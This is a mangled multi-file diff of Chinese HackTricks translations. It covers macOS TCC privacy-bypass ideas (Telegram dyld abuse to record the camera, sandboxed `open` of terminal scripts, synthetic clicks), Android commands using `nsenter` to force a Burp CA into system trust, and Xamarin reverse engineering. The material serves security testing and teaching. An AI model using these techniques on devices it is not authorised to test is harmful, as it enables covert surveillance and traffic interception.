Telegram具有权限`com.apple.security.cs.allow-dyld-environment-variables`和`com.apple.security.cs.disable-library-validation`,因此可以滥用它来**获取其权限**,例如使用摄像头进行录制。您可以在[**写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
Telegram具有权限`com.apple.security.cs.allow-dyld-environment-variables`和`com.apple.security.cs.disable-library-validation`,因此可以滥用它以获取其权限,例如使用摄像头进行录制。您可以在[**写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||||
|
|
||||||
## 通过打开调用
|
## 通过打开调用
|
||||||
|
|
||||||
可以在受沙箱限制的环境中调用打开命令。
|
即使在沙盒环境中,也可以调用`open`。
|
||||||
|
|
||||||
### 终端脚本
|
### 终端脚本
|
||||||
|
|
||||||
|
@ -324,7 +324,7 @@ Telegram具有权限`com.apple.security.cs.allow-dyld-environment-variables`和`
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
应用程序可以在/tmp等位置编写一个终端脚本,并使用如下命令来启动它:
|
一个应用程序可以在/tmp等位置编写一个终端脚本,并使用如下命令来启动它:
|
||||||
```objectivec
|
```objectivec
|
||||||
// Write plist in /tmp/tcc.terminal
|
// Write plist in /tmp/tcc.terminal
|
||||||
[...]
|
[...]
|
||||||
|
@ -412,7 +412,17 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||||
|
|
||||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 参考资料
|
## 合成点击
|
||||||
|
|
||||||
|
这种方法不再有效,但是[**过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||||
|
|
||||||
|
<figure><img src="../../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
另一种方法是使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
|
||||||
|
|
||||||
|
<figure><img src="../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
## 参考
|
||||||
|
|
||||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||||
|
@ -423,10 +433,10 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,17 +4,17 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -133,9 +133,9 @@ return encrypted_ret;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
如果您对**黑客职业**感兴趣并想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -14,14 +14,12 @@
|
||||||
|
|
||||||
## 在虚拟机上
|
## 在虚拟机上
|
||||||
|
|
||||||
首先,你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成此操作。
|
首先,你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成这个操作。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (367).png>)
|
![](<../../.gitbook/assets/image (367).png>)
|
||||||
|
|
||||||
**以Der格式导出证书**,然后将其转换为**Android**能够**理解的形式**。请注意,**为了在AVD中配置Burp证书**,你需要**使用**`-writable-system`**选项运行此虚拟机。\
|
**以Der格式导出证书**,然后将其转换为**Android**能够**理解的形式**。请注意,**为了在AVD中配置Burp证书**,你需要**使用**`-writable-system`**选项运行该虚拟机**。\
|
||||||
例如,你可以这样运行它:
|
例如,你可以这样运行它:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||||
```
|
```
|
||||||
|
@ -50,15 +48,15 @@ adb reboot #Now, reboot the machine
|
||||||
|
|
||||||
1. **安装CA证书**:只需将DER Burp证书拖放到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到“安装证书”->“CA证书”
|
1. **安装CA证书**:只需将DER Burp证书拖放到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到“安装证书”->“CA证书”
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* 检查证书是否正确存储,转到“受信任的凭据”->“用户”
|
* 检查证书是否正确存储,转到“受信任的凭据”->“用户”
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
2. **使其成为系统信任的**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其拖放到手机上,转到手机上的Magics应用程序,转到“模块”部分,点击“从存储安装”,选择`.zip`模块,安装后重新启动手机:
|
2. **使其成为系统信任的**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其拖放到手机上,转到手机上的Magics应用程序的“模块”部分,点击“从存储安装”,选择`.zip`模块,安装后**重新启动**手机:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* 重新启动后,转到“受信任的凭据”->“系统”,检查Postswigger证书是否存在
|
* 重新启动后,转到“受信任的凭据”->“系统”,检查Postswigger证书是否存在
|
||||||
|
|
||||||
|
@ -71,10 +69,10 @@ adb reboot #Now, reboot the machine
|
||||||
* 到目前为止,系统信任的CA证书位于**`/system/etc/security/cacerts/`**。在标准的AOSP模拟器上,可以使用根访问直接修改这些证书,立即在所有地方生效。
|
* 到目前为止,系统信任的CA证书位于**`/system/etc/security/cacerts/`**。在标准的AOSP模拟器上,可以使用根访问直接修改这些证书,立即在所有地方生效。
|
||||||
* 在Android 14中,系统信任的CA证书通常位于**`/apex/com.android.conscrypt/cacerts`**,而**`/apex`的所有内容都是不可变的**。
|
* 在Android 14中,系统信任的CA证书通常位于**`/apex/com.android.conscrypt/cacerts`**,而**`/apex`的所有内容都是不可变的**。
|
||||||
* 无法将**APEX cacerts路径重新挂载为可写** - 重新挂载会失败。实际上,即使您从根shell中卸载整个路径,应用程序仍然可以正常读取您的证书。
|
* 无法将**APEX cacerts路径重新挂载为可写** - 重新挂载会失败。实际上,即使您从根shell中卸载整个路径,应用程序仍然可以正常读取您的证书。
|
||||||
* 将tmpfs目录挂载在顶部的替代技术也无法正常工作 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空(或任何其他您喜欢的内容),应用程序仍然会看到相同的原始数据。
|
* 将tmpfs目录挂载在顶部的替代技术也无法工作 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空(或任何其他您喜欢的内容),应用程序仍然会看到相同的原始数据。
|
||||||
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a),使用私有传播,因此在`/apex`路径内的挂载的所有更改都不会在进程之间共享。
|
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a),**使用私有传播**,所以在`/apex`路径内对挂载的所有更改在进程之间都不共享。
|
||||||
|
|
||||||
这是由启动操作系统的`init`进程完成的,然后启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)(使用从父进程复制的新挂载命名空间,因此包括其自己的私有`/apex`挂载),然后依次启动每个应用程序进程,每当在设备上启动应用程序时(每个应用程序进程然后复制相同的私有`/apex`挂载)。
|
这是由启动操作系统的`init`进程完成的,然后启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)(使用从父进程复制的新挂载命名空间,因此包括其**自己的私有`/apex`挂载**),然后依次启动每个应用程序进程,每当在设备上启动应用程序时(每个应用程序进程然后**复制相同的私有`/apex`挂载**)。
|
||||||
|
|
||||||
### 递归重新挂载挂载点
|
### 递归重新挂载挂载点
|
||||||
|
|
||||||
|
@ -155,7 +153,7 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
|
||||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||||
```
|
```
|
||||||
|
|
||||||
Zygote 进程会为每个应用程序生成一个副本的挂载命名空间,因此这确保了所有新启动的应用程序(从现在开始的所有应用程序)都将使用此目录。
|
Zygote 进程会生成每个应用程序,复制其挂载命名空间以完成此操作,因此这确保了所有新启动的应用程序(从现在开始的所有内容)都将使用此目录。
|
||||||
* 然后,使用 `nsenter` 进入每个已运行应用程序的命名空间,并执行相同的操作:
|
* 然后,使用 `nsenter` 进入每个已运行应用程序的命名空间,并执行相同的操作:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
@ -163,13 +161,13 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
||||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||||
```
|
```
|
||||||
|
|
||||||
或者,如果你不介意笨拙的用户体验,你应该能够在 `init` 本身(PID 1)上进行绑定挂载,然后运行 `stop && start` 来软重启操作系统,重新创建所有命名空间并传播你的更改(但个人上我不喜欢笨拙的重启,所以我完全忽略了这条路线)。
|
或者,如果你不介意笨拙的用户体验,你应该能够在 `init` 本身(PID 1)上进行绑定挂载,然后运行 `stop && start` 来软重启操作系统,重新创建所有命名空间并传播你的更改(但个人上我不介意笨拙的重启,所以我完全忽略了这条路线)。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中 **为你的公司做广告** 吗?或者你想获得 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **为你的公司做广告** 吗?或者想要访问 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -34,13 +34,13 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
||||||
|
|
||||||
下图显示了这种架构:
|
下图显示了这种架构:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### 什么是 .Net Runtime 和 Mono Framework?
|
### 什么是 .Net Runtime 和 Mono Framework?
|
||||||
|
|
||||||
**.Net 框架是一组程序集、类和命名空间**,开发人员可以使用它们来创建应用程序;.Net Runtime 运行编译后的代码,这个过程称为托管代码执行。.NET Runtime 提供了几个功能,确保平台独立性,并与旧版本的框架兼容。
|
**.Net 框架是一组程序集、类和命名空间**,开发人员可以使用它们来创建应用程序;.Net Runtime 运行编译后的代码,这个过程称为托管代码执行。.NET Runtime 提供了几个功能,确保平台独立性,并与旧版本的框架兼容。
|
||||||
|
|
||||||
**Mono Framework** 是在 2005 年由 Ximian/SuSe/Novell 开始的 .NET Framework 的 Linux 实现。由 Microsoft 赞助并由 Xamarin 领导,Mono 是基于 ECMA 对公共语言运行时和 C# 的标准的 .NET 框架的开源实现。
|
**Mono Framework** 于 2005 年开始作为 Linux(Ximian/SuSe/Novell)上 .NET Framework 的实现。由 Microsoft 赞助并由 Xamarin 领导,Mono 是基于 ECMA 标准的 Common Language Runtime 和 C# 的 .NET Framework 的开源实现。
|
||||||
|
|
||||||
## 用于 Xamarin 应用程序的逆向工程技术
|
## 用于 Xamarin 应用程序的逆向工程技术
|
||||||
|
|
||||||
|
@ -52,13 +52,13 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
||||||
|
|
||||||
**Visual Studio** 反编译托管代码,即使没有符号,也可以查看代码、检查变量并设置断点。要将源代码提取到磁盘上,请右键单击带有嵌入源代码的模块,然后单击“提取嵌入的源代码”。这将把源文件导出到一个杂项文件夹以供进一步分析。
|
**Visual Studio** 反编译托管代码,即使没有符号,也可以查看代码、检查变量并设置断点。要将源代码提取到磁盘上,请右键单击带有嵌入源代码的模块,然后单击“提取嵌入的源代码”。这将把源文件导出到一个杂项文件夹以供进一步分析。
|
||||||
|
|
||||||
### Xamarin 应用程序的 JIT 和 AOT 编译
|
### Xamarin 应用程序的 JIT vs AOT 编译
|
||||||
|
|
||||||
这两个选项用于将基于 C# 的 Xamarin 代码编译为应用程序,即**即时编译和提前编译**。编译方式会影响应用程序代码在 apk 或 ipa 文件中的分发方式。让我们快速看一下下面的情况:
|
这两种选项用于将基于 C# 的 Xamarin 代码编译为应用程序,即**即时编译和提前编译**。编译方式会影响应用程序代码在 apk 或 ipa 文件中的分发方式。让我们快速看一下下面的情况:
|
||||||
|
|
||||||
\- **Android**:Xamarin 允许您使用**JIT 和 AOT 标志同时进行编译**。还有一种方法可以在两者之间进行切换,以获得最高的执行速度,即混合 AOT 模式。请注意,完全 AOT 模式仅适用于企业许可证。
|
- **Android**:Xamarin 允许您使用**JIT 和 AOT 标志同时进行编译**。还有一种方法可以在两者之间进行切换,以获得最高的执行速度,即混合 AOT 模式。请注意,完全 AOT 模式仅适用于企业许可证。
|
||||||
|
|
||||||
\- **iOS**:在 iOS 的情况下只有一种选择,即**提前编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
- **iOS**:在 iOS 的情况下只有一种选择,即**提前编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
如果遇到一个完全 AOT 编译的应用程序,并且开发人员已经删除了 IL Assembly 文件以减小构建大小,则反向工程需要额外的步骤,即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来进行逆向工程分析。
|
如果遇到一个完全 AOT 编译的应用程序,并且开发人员已经删除了 IL Assembly 文件以减小构建大小,则反向工程需要额外的步骤,即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来进行逆向工程分析。
|
||||||
|
@ -67,13 +67,13 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
||||||
|
|
||||||
